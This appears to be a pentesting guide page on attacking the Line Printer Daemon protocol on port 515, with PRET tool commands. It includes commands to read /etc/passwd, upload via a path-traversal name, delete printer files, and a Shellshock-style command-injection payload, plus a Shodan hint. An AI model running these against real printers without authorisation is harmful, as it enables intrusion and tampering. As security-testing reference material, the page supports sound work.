515 - Pentesting Line Printer Daemon (LPD)

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Introduction to LPD Protocol

In the 1980s, the Line Printer Daemon (LPD) protocol was developed in Berkeley Unix, which later became formalized through RFC1179. This protocol operates over port 515/tcp, allowing interactions through the lpr command. The essence of printing via LPD involves sending a control file (to specify job details and user) along with a data file (which holds the print information). While the control file allows the selection of various file formats for the data file, the handling of these files is determined by the specific LPD implementation. A widely recognized implementation for Unix-like systems is LPRng. Notably, the LPD protocol can be exploited to execute malicious PostScript or PJL print jobs.

Tools for Interacting with LPD Printers

PRET introduces two essential tools, lpdprint and lpdtest, offering a straightforward method to interact with LPD-compatible printers. These tools enable a range of actions from printing data to manipulating files on the printer, such as downloading, uploading, or deleting:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail [e-mail]

For individuals interested in further exploring the realm of printer hacking, a comprehensive resource can be found here: Hacking Printers.

Shodan

• port 515

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